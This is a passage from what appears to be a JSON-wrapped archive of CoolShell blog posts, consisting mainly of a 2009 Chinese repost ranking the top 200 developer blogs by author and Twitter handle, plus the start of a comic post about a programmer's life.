篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\nThe post [Ksplice Uptrack — Ubuntu更新不用重启](https://coolshell.cn/articles/1097.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-30 Top 200的全球开发者BLOG.md",
    "content": "---\nlayout: post\ntitle: Top 200的全球开发者BLOG\ndate: 2009/6/30/ 2:39:49\nupdated: 2009/6/30/ 2:39:49\nstatus: publish\npublished: true\ntype: post\n---\n\n本文源自[这里](http://www.noop.nl/2009/06/top-200-blogs-for-developers-q2-2009.html)，文中列出了全球前200名的开发者的BLOG。有的可能你很熟悉，有的你可能还不知道。这些BLOG的排名通过查看，*Google PageRank*, *Technorati Authority*, *Alexa Rank*, *Google links*, *Twitter Grader Rank*等等，形成的综合排名。如果你对此感兴趣的话，你可以看看这篇文章——《[如何制作一个Blog排名](http://www.noop.nl/how-to-make-a-top-blog-list.html)》\n\n\n下面是前200名的排名。希望对那些有日常浏览Blog习惯的人有帮助。大家可以下载更为详细的[Excel表格](http://nooperation.typepad.com/files/top200developmentblogsq22009.xls)。\n\n\n本排名截止至：2009年第二季度\n\n\n\n**其中：**  \n\n**TT** = This Time 本次名次  \n\n**LT** = Last Time 上次名次\n\n\n\n\n|  |  |  |  |  |\n| --- | --- | --- | --- | --- |\n| **TT** | **LT** | **Blog** | **Author** | **Twitter** |\n| **1** | 6 | [Scott Hanselman’s Computer Zen](http://www.hanselman.com/blog/) | Scott Hanselman | [shanselman](http://twitter.com/shanselman) |\n| **2** | 2 | [Coding Horror](http://www.codinghorror.com/) | Jeff Atwood | [codinghorror](http://twitter.com/codinghorror) |\n| **3** | 19 | [High Scalability](http://highscalability.com/) | (various) |  |\n| **4** | 12 | [Lambda the Ultimate](http://lambda-the-ultimate.org/) | (various) |  |\n| **5** | 16 | [UIE Brain Sparks](http://www.uie.com/brainsparks/) | Jared Spool | [jmspool](http://twitter.com/jmspool) |\n| **6** | 13 | [Raible Designs](http://raibledesigns.com/) | Matt Raible | [mraible](http://twitter.com/mraible) |\n| **7** | 59 | [Dr. Dobb’s CodeTalk](http://dobbscodetalk.com/) | (various) |  |\n| **8** | 14 | [Dare Obasanjo aka Carnage4Life](http://www.25hoursaday.com/weblog/) | Dare Obasanjo | [carnage4life](http://twitter.com/carnage4life) |\n| **9** | 3 | [Martin Fowler’s Bliki](http://martinfowler.com/bliki/) | Martin Fowler | [martinfowler](http://twitter.com/martinfowler) |\n| **10** | 1 | [Joel on Software](http://www.joelonsoftware.com/) | Joel Spolsky | [spolsky](http://twitter.com/spolsky) |\n| **11** | 8 | [Bokardo: Social Design](http://bokardo.com/) | Joshua Porter | [bokardo](http://twitter.com/bokardo) |\n| **12** | 25 | [The Berkun Blog](http://www.scottberkun.com/blog/) | Scott Berkun | [berkun](http://twitter.com/berkun) |\n| **13** | 18 | [CodeBetter.Com](http://codebetter.com/) | (various) | [codebetter](http://twitter.com/codebetter) |\n| **14** | 7 | [Rands in Repose](http://www.randsinrepose.com/) | Michael Lopp | [rands](http://twitter.com/rands) |\n| **15** | 10 | [Stack Overflow](http://blog.stackoverflow.com/) | Jeff Atwood |  |\n| **16** | 15 | [Jon Udell](http://blog.jonudell.net/) | Jon Udell | [judell](http://twitter.com/judell) |\n| **17** | 20 | [Object Mentor Blog](http://blog.objectmentor.com/) | (various) |  |\n| **18** | 37 | [Project Shrink](http://blog.softwareprojects.org/) | Bas de Baar | [projectshrink](http://twitter.com/projectshrink) |\n| **19** | 4 | [The Daily WTF](http://thedailywtf.com/) | (various) | [dailywtf](http://twitter.com/dailywtf) |\n| **20** | 30 | [J.D. Meier’s Blog](http://blogs.msdn.com/jmeier/) | J.D. Meier |  |\n| **21** | 28 | [Artima Weblogs](http://www.artima.com/weblogs/) | (various) |  |\n| **22** | 21 | [Regular Geek](http://regulargeek.com/) | Rob Diana | [robdiana](http://twitter.com/robdiana) |\n| **23** | 24 | [NOOP.NL](http://www.noop.nl/) | Jurgen Appelo | [jurgenappelo](http://twitter.com/jurgenappelo) |\n| **24** | 81 | [Jeffrey Palermo (.com)](http://jeffreypalermo.com/) | Jeffrey Palermo | [jeffreypalermo](http://twitter.com/jeffreypalermo) |\n| **25** | 46 | [Pure Danger Tech](http://tech.puredanger.com/) | Alex Miller | [puredanger](http://twitter.com/puredanger) |\n| **26** | 45 | [Interoperability Happens](http://blogs.tedneward.com/) | Ted Neward | [tedneward](http://twitter.com/tedneward) |\n| **27** | 124 | [Hot Needle of Inquiry](http://xprogramming.com/blog/) | Ron Jeffries | [ronjeffries](http://twitter.com/ronjeffries) |\n| **28** | 60 | [Better Projects](http://www.betterprojects.net/) | Craig Brown |  |\n| **29** | 73 | [A Software Insiders Point of View](http://blog.softwareinsider.org/) | R “Ray” Wang | [rwang0](http://twitter.com/rwang0) |\n| **30** | 50 | [Ted Leung on the Air](http://www.sauria.com/blog/) | Ted Leung | [twleung](http://twitter.com/twleung) |\n| **31** | 69 | [Agile Management Blog](http://www.agilemanagement.net/Articles/Weblog/blog.html) | David Anderson | [agilemanager](http://twitter.com/agilemanager) |\n| **32** | 33 | [secretGeek](http://secretgeek.net/) | Leon Bambrick | [secretgeek](http://twitter.com/secretgeek) |\n| **33** | 36 | [Enterprise Architecture: From Incite comes Insight…](http://duckdown.blogspot.com/) | James McGovern |  |\n| **34** | — | [Devlicio.us](http://devlicio.us/) | (various) | [devlicious](http://twitter.com/devlicious) |\n| **35** | 9 | [Stevey’s Blog Rants](http://steve-yegge.blogspot.com/) | Steve Yegge |  |\n| **36** | 31 | [Alex Payne](http://al3x.net/) | Alex Payne | [al3x](http://twitter.com/al3x) |\n| **37** | 58 | [It’s Just a Bunch of Stuff That Happens](http://stuffthathappens.com/blog/) | Eric Burke | [burke\\_eric](http://twitter.com/burke_eric) |\n| **38** | 29 | [Google Testing Blog](http://googletesting.blogspot.com/) | (various) |  |\n| **39** | 48 | [Elegant Code](http://elegantcode.com/) | (various) | [elegantcode](http://twitter.com/elegantcode) |\n| **40** | 5 | [Signal vs. Noise](http://blogcabin.37signals.com/) | (various) | [37signals](http://twitter.com/37signals) |\n| **41** | 66 | [Exploration Through Example](http://www.exampler.com/blog/) | Brian Marick | [marick](http://twitter.com/marick) |\n| **42** | 57 | [Aligning Technology, Strategy, People & Projects](http://ericbrown.com/) | Eric Brown | [ericdbrown](http://twitter.com/ericdbrown) |\n| **43** | — | [CodeThinked](http://www.codethinked.com/) | Justin Etheredge | [justinetheredge](http://twitter.com/justinetheredge) |\n| **44** | 35 | [Contrast | The Blog](http://www.contrast.ie/blog/) | (various) |  |\n| **45** | 114 | [The Third Bit](http://pyre.third-bit.com/blog/) | Greg Wilson |  |\n| **46** | 22 | [Otaku, Cedric’s Weblog](http://beust.com/weblog/) | Cedric | [cbeust](http://twitter.com/cbeust) |\n| **47** | 39 | [Shanine.com / omar /](http://www.shahine.com/omar/) | Omar Shahine | [omarshahine](http://twitter.com/omarshahine) |\n| **48** | 11 | [Eric.Weblog()](http://www.ericsink.com/) | Eric Sink |  |\n| **49** | 108 | [PMThink!](http://www.pmthink.com/) | (various) |  |\n| **50** | 52 | [Reforming Project Management](http://www.reformingprojectmanagement.com/) | Hal Macomber | [HalMacomber](http://twitter.com/HalMacomber) |\n| **51** | 62 | [{Codesqueeze}](http://www.codesqueeze.com/) | Max Pool | [mpool](http://twitter.com/mpool) |\n| **52** | 47 | [Managing Product Development](http://jrothman.com/blog/mpd/) | Johanna Rothman | [johannarothman](http://twitter.com/johannarothman) |\n| **53** | 27 | [James Bach’s Blog](http://www.satisfice.com/blog/) | James Bach | [jamesmarcusbach](http://twitter.com/jamesmarcusbach) |\n| **54** | 34 | [Business of Software Blog](http://blog.businessofsoftware.org/) | Neil Davidson | [neildavidson](http://twitter.com/neildavidson) |\n| **55** | — | [Gray’s Matter](http://graysmatter.codivation.com/) | Justice Gray |  |\n| **56** | 105 | [Leading Agile](http://www.leadingagile.com/) | Mike Cottmeyer | [mcottmeyer](http://twitter.com/mcottmeyer) |\n| **57** | 55 | [Blankenthoughts](http://jeffblankenburg.com/default.aspx) | Jeff Blankenburg | [jblankenburg](http://twitter.com/jblankenburg) |\n| **58** | — | [JUnit Max](http://www.threeriversinstitute.org/blog/) | Kent Beck | [kentbeck](http://twitter.com/kentbeck) |\n| **59** | 43 | [Agile Software Development](http://agilesoftwaredevelopment.com/) | (various) | [agileartem](http://twitter.com/agileartem) |\n| **60** | 32 | [10x Software Development](http://forums.construx.com/blogs/stevemcc/default.aspx) | Steve McConnell |  |\n| **61** | 51 | [Relevance Blog](http://blog.thinkrelevance.com/) | (various) |  |\n| **62** | 113 | [Mark Needham](http://www.markhneedham.com/blog/) | Mark Needham | [markhneedham](http://twitter.com/markhneedham) |\n| **63** | 78 | [The Braidy Tester](http://blogs.msdn.com/micahel/) | Micahel |  |\n| **64** | 65 | [Herding Cats](http://herdingcats.typepad.com/) | Glen Alleman |  |\n| **65** | 76 | [Chris Spagnuolo’s EdgeHopper](http://www.chrisspagnuolo.com/) | Chris Spagnuolo | [chrisspagnuolo](http://twitter.com/chrisspagnuolo) |\n| **66** | 63 | [/\\ndy](http://blog.toolshed.com/) | Andy Hunt | [pragmaticandy](http://twitter.com/pragmaticandy) |\n| **67** | 61 | [Lean Software Engineering](http://leansoftwareengineering.com/) | Corey Ladas | [corey\\_ladas](http://twitter.com/corey_ladas) |\n| **68** | 83 | [averyBlog](http://infozerk.com/averyblog/) | James Avery | [averyj](http://twitter.com/averyj) |\n| **69** | 89 | [Creative Chaos](http://xndev.blogspot.com/) | Matthew Heusser | [mheusser](http://twitter.com/mheusser) |\n| **70** | 41 | [Agile Testing](http://agiletesting.blogspot.com/) | Grig Gheorghiu |  |\n| **71** | 53 | [James Shore: The Art of Agile](http://jamesshore.com/Blog/) | James Shore | [jamesshore](http://twitter.com/jamesshore) |\n| **72** | 125 | [Agile Blog](http://www.rallydev.com/agileblog/) | (various) |  |\n| **73** | 110 | [Agile Advice](http://www.agileadvice.com/) | (various) |  |\n| **74** | 23 | [Mike Cohn’s Blog: Succeeding with Agile](http://blog.mountaingoatsoftware.com/) | Mike Cohn |  |\n| **75** | 88 | [Agile Developer Venkat’s Blog](http://www.agiledeveloper.com/blog/) | Venkat Subramaniam | [venkat\\_s](http://twitter.com/venkat_s) |\n| **76** | 74 | [Meme Agora](http://memeagora.blogspot.com/) | Neal Ford | [neal4d](http://twitter.com/neal4d) |\n| **77** | 67 | [Object Technology](http://jeffsutherland.com/) | Jeff Sutherland | [jeffsutherland](http://twitter.com/jeffsutherland) |\n| **78** | 38 | [StevenHarman.net](http://stevenharman.net/blog/) | Steven Harman | [stevenharman](http://twitter.com/stevenharman) |\n| **79** | 68 | [Implementing Scrum](http://www.implementingscrum.com/) | Mike Vizdos | [mvizdos](http://twitter.com/mvizdos) |\n| **80** | 100 | [Raven’s Brain](http://www.ravensbrain.com/) | Raven Young | [ravenyoung](http://twitter.com/ravenyoung) |\n| **81** | 121 | [Software application development](http://community.zdnet.co.uk/blog/0,1000000567,2000458459b,00.htm) | Adrian Bridgwater | [abridgwater](http://twitter.com/abridgwater) |\n| **82** | 145 | [My Secret Life as a Spaghetti Coder](http://www.codeodor.com/) | Sammy Larbi | [codeodor](http://twitter.com/codeodor) |\n| **83** | 70 | [Bit-Player](http://bit-player.org/) | Brian Hayes |  |\n| **84** | 77 | [Evolving Web](http://ourfounder.typepad.com/) | Jim Benson | [ourfounder](http://twitter.com/ourfounder) |\n| **85** | 71 | [The Mendicant Bug](http://mendicantbug.com/) | Jason Adams | [ealdent](http://twitter.com/ealdent) |\n| **86** | 94 | [Curious Cat](http://management.curiouscatblog.net/) | John Hunter | [curiouscat\\_com](http://twitter.com/curiouscat_com) |\n| **87** | 49 | [Coding the Architecture](http://www.codingthearchitecture.com/) | (various) |  |\n| **88** | 40 | [Software by Rob](http://www.softwarebyrob.com/) | Rob Walling |  |\n| **89** | 44 | [Tyner Blain](http://tynerblain.com/blog/) | Scott Sehlhorst | [sehlhorst](http://twitter.com/sehlhorst) |\n| **90** | 64 | [All About Agile](http://www.agile-software-development.com/) | Kelly Waters | [allaboutagile](http://twitter.com/allaboutagile) |\n| **91** | 42 | [Alistair Cockburn](http://alistair.cockburn.us/Blog) | Alistair Cockburn | [theotheralistai](http://twitter.com/theotheralistai) |\n| **92** | 115 | [Insights You Can Use](http://www.estherderby.com/weblog/blogger.html) | Esther Derby | [estherderby](http://twitter.com/estherderby) |\n| **93** | 99 | [Clarke Ching – More Chilli Please](http://www.clarkeching.com/) | Clarke Ching | [clarkeching](http://twitter.com/clarkeching) |\n| **94** | 80 | [The Cutter Blog](http://blog.cutter.com/) | (various) | [cuttertweets](http://twitter.com/cuttertweets) |\n| **95** | 102 | [Testing Hotlist Update](http://www.io.com/~wazmo/blog/) | Bret Pettichord | [bpettichord](http://twitter.com/bpettichord) |\n| **96** | 82 | [Test Obsessed](http://testobsessed.com/) | Elisabeth Hendrickson | [testobsessed](http://twitter.com/testobsessed) |\n| **97** | — | [Cem Kaner’s Blog](http://www.satisfice.com/kaner/) | Cem Kaner |  |\n| **98** | 143 | [Edge of Chaos](http://www.targetprocess.com/blog/) | Michael Dubakov | [mdubakov](http://twitter.com/mdubakov) |\n| **99** | 87 | [Petzold Book Blog](http://www.charlespetzold.com/blog/blog.xml) | Charles Petzold |  |\n| **100** | 104 | [Agility@Scale](http://www.ibm.com/developerworks/blogs/page/ambler) | Scott W. Ambler |  |\n| **101** | 175 | [The Working Geek](http://theworkinggeek.com/) | Andy Lester | [petdance](http://twitter.com/petdance) |\n| **102** | 98 | [Lazycoder](http://www.lazycoder.com/weblog/) | Scott Koon | [lazycoder](http://twitter.com/lazycoder) |\n| **103** | 119 | [You’d think with all my video game experience…](http://jchyip.blogspot.com/) | Jason Yip | [jchyip](http://twitter.com/jchyip) |\n| **104** | 168 | [Agile Software Process Improvement](http://parlezuml.com/blog/) | Jason Gorman | [jasongorman](http://twitter.com/jasongorman) |\n| **105** | 101 | [Ruminations of a Programmer](http://debasishg.blogspot.com/) | Debasish Ghosh | [debasishg](http://twitter.com/debasishg) |\n| **106** | 132 | [From the Editor of Methods & Tools](http://blog.martinig.ch/) | Martinig |  |\n| **107** | 72 | [Software Project Management](http://blog.brodzinski.com/) | Pawel Brodzinski | [pawelbrodzinski](http://twitter.com/pawelbrodzinski) |\n| **108** | 90 | [Moserware](http://www.moserware.com/) | Jeff Moser | [jeffmoser](http://twitter.com/jeffmoser) |\n| **109** | 109 | [DevelopSense Blog](http://www.developsense.com/blog.html) | Michael Bolton | [michaelbolton](http://twitter.com/michaelbolton) |\n| **110** | 92 | [Collaborative Software Testing](http://www.kohl.ca/blog/) | Jonathan Kohl |  |\n| **111** | 130 | [Quality through Innovation](http://adam.goucher.ca/) | Adam Goucher | [adamgoucher](http://twitter.com/adamgoucher) |\n| **112** | 107 | [Crazeegeekchick.com](http://crazeegeekchick.com/) | Dana Coffey | [crazeegeekchick](http://twitter.com/crazeegeekchick) |\n| **113** | 160 | [Wille Faler’s Buzzword Bingo](http://faler.wordpress.com/) | Wille Faler | [wfaler](http://twitter.com/wfaler) |\n| **114** | 126 | [MrDave’s (David Yack) Blog!](http://blog.davidyack.com/) | David Yack | [davidyack](http://twitter.com/davidyack) |\n| **115** | 118 | [Scaling Software Agility](http://scalingsoftwareagility.wordpress.com/) | Dean Leffingwell |  |\n| **116** | 96 | [LeadingAnswers](http://leadinganswers.typepad.com/) | Mike Griffiths |  |\n| **117** | 166 | [Antony Marcano’s Blog](http://www.testingreflections.com/blog/2) | Antony Marcano |  |\n| **118** | 85 | [Wide Awake Developers](http://www.michaelnygard.com/blog/) | Michael Nygard | [mtnygard](http://twitter.com/mtnygard) |\n| **119** | 137 | [Effective Software Development](http://dnicolet1.tripod.com/agile/) | Dave Nicolette | [davenicolette](http://twitter.com/davenicolette) |\n| **120** | 95 | [Yourdon Report](http://www.yourdonreport.com/) | Ed Yourdon | [yourdon](http://twitter.com/yourdon) |\n| **121** | 26 | [Good coders code, great reuse](http://www.catonmat.net/) | Peteris Krumins | [pkrumins](http://twitter.com/pkrumins) |\n| **122** | 171 | [Jbrains.ca](http://www.jbrains.ca/blog) | J.B. Rainsberger | [jbrains](http://twitter.com/jbrains) |\n| **123** | 79 | [Tester Tested!](http://testertested.blogspot.com/) | Pradeep Soundararajan |\n| **124** | 91 | [Codemonkeyism](http://www.codemonkeyism.com/) | Stephan Schmidt | [codemonkeyism](http://twitter.com/codemonkeyism) |\n| **125** | — | [Corey Foy](http://www.cornetdesign.com/) | Corey Foy | [cory\\_foy](http://twitter.com/cory_foy) |\n| **126** | 146 | [Project Management 2.0](http://www.wrike.com/projectmanagement.htm) | Andrew Filev | [andrewsthoughts](https://twitter.com/andrewsthoughts) |\n| **127** | 149 | [Thought Clusters](http://www.thoughtclusters.com/) | Krishna Kumar | [krishami](http://twitter.com/krishami) |\n| **128** | 111 | [Focused Performance](http://www.focusedperformance.com/blogger.html) | Frank Patrick | [fpatrick](http://twitter.com/fpatrick) |\n| **129** | 182 | [AvailAgility](http://availagility.wordpress.com/) | Karl Scotland | [kjscotland](http://twitter.com/kjscotland) |\n| **130** | 75 | [Word Aligned](http://wordaligned.org/) | Thomas Guest | [thomasguest](http://twitter.com/thomasguest) |\n| **131** | 86 | [Notes from a Tool User](http://www.notesfromatooluser.com/) | Mark Levison | [mlevison](http://twitter.com/mlevison) |\n| **132** | 140 | [Information Technology Dark Side](http://www.techdarkside.com/) | David Christiansen | [aldos](http://twitter.com/aldos) |\n| **133** | 135 | [Agile Chronicles](http://blog.versionone.net/) | (various) |  |\n| **134** | 93 | [Jeff Patton’s Holistic Product Design & Development](http://agileproductdesign.com/blog/) | Jeff Patton | [jeffpatton](http://twitter.com/jeffpatton) |\n| **135** | 128 | [I.M. Wright’s “Hard Code”](http://blogs.msdn.com/eric_brechner/) | Eric Brechner |  |\n| **136** | 173 | [Shaping Software](http://shapingsoftware.com/) | J.D. Meier |  |\n| **137** | 139 | [Enterprise Architecture & Other Enterprise Topics](http://it.toolbox.com/blogs/madgreek/) | Mike Kavis | [madgreek65](http://twitter.com/madgreek65) |\n| **138** | 56 | [David Chelimsky](http://blog.davidchelimsky.net/) | David Chelimsky | [dchelimsky](http://twitter.com/dchelimsky) |\n| **139** | 144 | [/var/log/mind](http://blog.dhananjaynene.com/) | Dhananjay Nene | [dnene](http://twitter.com/dnene) |\n| **140** | 158 | [Scott Bellware](http://blog.scottbellware.com/) | Scott Bellware | [bellware](http://twitter.com/bellware) |\n| **141** | — | [Peripatetic Axiom](http://peripateticaxiom.blogspot.com/) | Keith Braithwaite | [keithb\\_b](http://twitter.com/keithb_b) |\n| **142** | 161 | [NetObjectives](http://www.netobjectives.com/blog) | (various) |  |\n| **143** | — | [@Kirkk.com](http://techdistrict.kirkk.com/) | Kirk Knoernschild | [pragkirk](http://www.twitter.com/pragkirk) |\n| **144** | 155 | [8th Light Blog](http://blog.8thlight.com/) | (various) |  |\n| **145** | 153 | [Steve Rowe’s Blog](http://blogs.msdn.com/steverowe/) | Steve Rowe | [steve\\_rowe](http://twitter.com/steve_rowe) |\n| **146** | 97 | [Silk and Spinach](http://silkandspinach.net/) | Kevin Rutherford | [kevinrutherford](http://twitter.com/kevinrutherford) |\n| **147** | 138 | [PierG](http://pierg.wordpress.com/) | Piergiorgio Grossi | [pierg](http://twitter.com/pierg) |\n| **148** | 151 | [Cthulhu and Other Crazies](http://swizec.com/) | Swizec | [swizec](http://twitter.com/swizec) |\n| **149** | 152 | [Steve Freeman](http://www.m3p.co.uk/blog) | Steve Freeman |  |\n| **150** | 176 | [Me.Andering](http://me.andering.com/) | Willem van den Ende | [most\\_alive](http://twitter.com/most_alive) |\n| **151** | 159 | [fede.carg ( blog )](http://blog.fedecarg.com/) | Federico Cargnelutti | [fedecarg](http://twitter.com/fedecarg) |\n| **152** | 174 | [Musings of a Software Development Manager](http://edgibbs.com/) | Ed Gibbs |  |\n| **153** | 147 | [Requirements Defined](http://requirements.seilevel.com/blog/) | (various) | [seilevel](http://twitter.com/seilevel) |\n| **154** | 112 | [Agile Thoughts](http://agilethinking.net/blog/) | Tobias Mayer | [tobiasgmayer](http://twitter.com/tobiasgmayer) |\n| **155** | 163 | [Chris Sterling’s Blog](http://chrissterling.gettingagile.com/) | Chris Sterling | [csterwa](http://twitter.com/csterwa) |\n| **156** | 190 | [Agile in Action](http://www.agileinaction.com/) | Simon Baker | [energizr](http://twitter.com/energizr) |\n| **157** | 103 | [Legends of the Sun Pig](http://www.sunpig.com/martin/) | Martin Sutherland | [sunpig](http://twitter.com/sunpig) |\n| **158** | 134 | [George Dinwiddie’s Blog](http://blog.gdinwiddie.com/) | George Dinwiddie | [gdinwiddie](http://twitter.com/gdinwiddie) |\n| **159** | — | [Rediscovering the Obvious](http://manicprogrammer.com/cs/blogs/willeke/) | Willeke | [erwilleke](http://twitter.com/erwilleke) |\n| **160** | 141 | [Agile Artisans](http://agileartisans.com/) | Jared Richardson | [jaredrichardson](http://twitter.com/jaredrichardson) |\n| **161** | — | [LitheSpeed’s LitheBlog](http://lithespeed.blogspot.com/) | (various) |  |\n| **162** | 177 | [Intergen Blog](http://www.intergen.co.nz/Blog/) | (various) | [teamintergen](http://www.twitter.com/teamintergen) |\n| **163** | 123 | [Thinking Tester](http://shrinik.blogspot.com/) | Shrini Kulkarni | [shrinik](http://twitter.com/shrinik) |\n| **164** | — | [Partnership & Possibilities](http://www.futureworksconsulting.com/blog/) | Diana Larsen | [dianaofportland](http://twitter.com/dianaofportland) |\n| **165** | — | [Agile & Business](http://agileconsortium.blogspot.com/) | Joe Little | [jhlittle](http://twitter.com/jhlittle) |\n| **166** | 191 | [On Software Development, Agile, Startups, and Social Networking](http://ctotodevelopers.blogspot.com/) | Isaac Sacolick | [nyike](http://twitter.com/nyike) |\n| **167** | 127 | [Jonathan Babcock](http://jonathanbabcock.com/) | Jonathan Babcock | [jonbab1](http://twitter.com/jonbab1) |\n| **168** | 154 | [Agile Game Development](http://www.agilegamedevelopment.com/blog.html) | Clinton Keith |  |\n| **169** | — | [Rob Bowley](http://blog.robbowley.net/) | Rob Bowley | [robbowley](http://twitter.com/robbowley) |\n| **170** | 131 | [Cauvin](http://cauvin.blogspot.com/) | Roger L. Cauvin | [rcauvin](http://twitter.com/rcauvin) |\n| **171** | 193 | [Wayne Allen’s Weblog](http://weblogs.asp.net/wallen/) | Wayne Allen |  |\n| **172** | 180 | [Chris McMahon’s Blog](http://chrismcmahonsblog.blogspot.com/) | Chris McMahon | [cmcmahon](http://twitter.com/cmcmahon) |\n| **173** | 181 | [It’s Common Sense, Stupid](http://itscommonsensestupid.blogspot.com/) | Soon Hui Ngu |  |\n| **174** | — | [Sander Hoogendoorn](http://www.sanderhoogendoorn.com/) | Sander Hoogendoorn | [aahoogendoorn](http://twitter.com/aahoogendoorn) |\n| **175** | 136 | [Jcooney.NET](http://www.jcooney.net/) | Joseph Cooney | [josephcooney](http://twitter.com/josephcooney) |\n| **176** | — | [Tea-Driven Development](http://blog.mattwynne.net/) | Matt Wynne |  |\n| **177** | 120 | [Ytechie](http://www.ytechie.com/) | Jason Young | [ytechie](http://twitter.com/ytechie) |\n| **178** | 162 | [Jimmy Nilsson’s Blog](http://jimmynilsson.com/blog/) | Jimmy Nilsson | [jimmynilsson](http://twitter.com/jimmynilsson) |\n| **179** | 106 | [Agile CMMI Blog](http://www.agilecmmi.com/) | Hillel Glazer | [hi11e1](http://twitter.com/hi11e1) |\n| **180** | 183 | [James Grenning’s Blog](http://www.renaissancesoftware.net/blog/) | James Grenning | [jwgrenning](http://twitter.com/jwgrenning) |\n| **181** | 186 | [Running Agile](http://runningagile.com/) | Christophe Louvion |  |\n| **182** | 170 | [Rebecca’s Blog](http://www.wirfs-brock.com/rebeccasblog.html) | Rebecca Wirfs-Brock |  |\n| **183** | 169 | [Engineering Game Development](http://www.spreetree.net/blog/) | Lee Winder | [spreetree](http://twitter.com/spreetree) |\n| **184** | 198 | [Simple Architectures for Complex Enterprises](http://simplearchitectures.blogspot.com/) | Roger Sessions | [rsessions](http://twitter.com/rsessions) |\n| **185** | 133 | [Bartosz Milewski’s Programming Cafe](http://bartoszmilewski.wordpress.com/) | Bartosz Milewski | [BartoszMilewski](http://twitter.com/BartoszMilewski) |\n| **186** | — | [Ivar Jacobson’s Blog](http://ivarjacobson.wordpress.com/) | Ivar Jacobson | [ivarjacobson](http://twitter.com/ivarjacobson) |\n| **187** | 165 | [Technology Architecture & Projects](http://enterprisearchitect.typepad.com/ea/) | Robert McIlree | [rmcilree](http://twitter.com/rmcilree) |\n| **188** | — | [DrunkenPM](http://drunkenpm.blogspot.com/) | Dave Prior | [mrsungo](http://twitter.com/mrsungo) |\n| **189** | — | [Software Sweatshop](http://www.softwaresweatshop.com/) | Raza Imam |  |\n| **190** | — | [Falkayn’s Nest](http://falkayn.blogspot.com/) | Angus McDonald | [falkayn](http://twitter.com/falkayn) |\n| **191** | 84 | [GrokCode](http://grok-code.com/) | Jess | [grokcode](http://twitter.com/grokcode) |\n| **192** | 122 | [Hicks-Wright.net](http://hicks-wright.net/) | Tyler Griffin Hicks-Wright |  |\n| **193** | 167 | [Andrew Tokeley](http://andrewtokeley.net/) | Andrew Tokeley |  |\n| **194** | 157 | [Agile Development Thoughts](http://damonpoole.blogspot.com/) | Damon Poole | [damonpoole](http://twitter.com/damonpoole) |\n| **195** | 179 | [Mult.ifario.us](http://mult.ifario.us/a) | Paul R. Brown | [paulrbrown](http://twitter.com/paulrbrown) |\n| **196** | — | [Matt O’ Rama](http://mattorama.net/blog/) | Matt Grommes | [mattgrommes](http://twitter.com/mattgrommes) |\n| **197** | 194 | [A Test Guy](http://www.daveliebreich.com/blog/) | Dave Liebreich | [atestguy](http://twitter.com/atestguy) |\n| **198** | 150 | [Richard Durnall](http://www.richarddurnall.com/) | Richard Durnall |  |\n| **199** | — | [Pols Consulting](http://www.pols.co.uk/blog/) | Andy Pols | [andy\\_pols](http://twitter.com/andy_pols) |\n| **200** | — | [On Agile Leadership](http://agileleadership.blogspot.com/) | Manfred Lange |  |\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![为什么我不在微信公众号上写文章](../wp-content/uploads/2016/07/Community-150x150.jpg)](https://coolshell.cn/articles/17391.html)[为什么我不在微信公众号上写文章](https://coolshell.cn/articles/17391.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/8031.html)[InfoQ的ArchSummit大会对我的采访](https://coolshell.cn/articles/8031.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/21.jpg](https://coolshell.cn/articles/3961.html)[“火柴棍式”程序员面试题](https://coolshell.cn/articles/3961.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/1626.html)[ldd 的一个安全问题](https://coolshell.cn/articles/1626.html)\n* [![“作环保的程序员，从不用百度开始”](../wp-content/uploads/2013/03/01-1-150x150.png)](https://coolshell.cn/articles/9308.html)[“作环保的程序员，从不用百度开始”](https://coolshell.cn/articles/9308.html)\n* [![1980年和2009年的1GB电脑内存的比较](../wp-content/uploads/2009/04/1gb-computer-memory-150x150.jpg)](https://coolshell.cn/articles/410.html)[1980年和2009年的1GB电脑内存的比较](https://coolshell.cn/articles/410.html)\nThe post [Top 200的全球开发者BLOG](https://coolshell.cn/articles/1092.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2009-6-30 漫画：程序员的一生.md",
    "content": "---\nlayout: post\ntitle: 漫画：程序员的一生\ndate: 2009/6/30/ 8:57:30\nupdated: 2009/6/30/ 8:57:30\nstatus: publish\npublished: true\ntype: post\n---\n\n [![programmer-life](../wp-content/uploads/2009/06/programmer-life.jpg \"programmer-life\")](https://coolshell.cn/wp-content/uploads/2009/06/programmer-life.jpg)\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![聊聊团队协同和协同工具](../wp-content/uploads/2022/10/communication-150x150.png)](https://coolshell.cn/articles/22298.html)[聊聊团队协同和协同工具](https://coolshell.cn/articles/22298.html)\n* [![“一把梭：REST API 全用 POST”](../wp-content/uploads/2022/02/http_method-150x150.png)](https://coolshell.cn/articles/22173.html)[“一把梭：REST API 全用 POST”](https://coolshell.cn/articles/22173.html)\n* [![谈谈公司对员工的监控](../wp-content/uploads/2022/02/monitoring-150x150.jpeg)](https://coolshell.cn/articles/22157.html)[谈谈公司对员工的监控](https://coolshell.cn/articles/22157.html)\n* [![如何做一个有质量的技术分享](../wp-content/uploads/2021/07/knowledge_sharing-300x169-1-150x150.jpeg)](https://coolshell.cn/articles/21589.html)[如何做一个有质量的技术分享](https://coolshell.cn/articles/21589.html)\n* 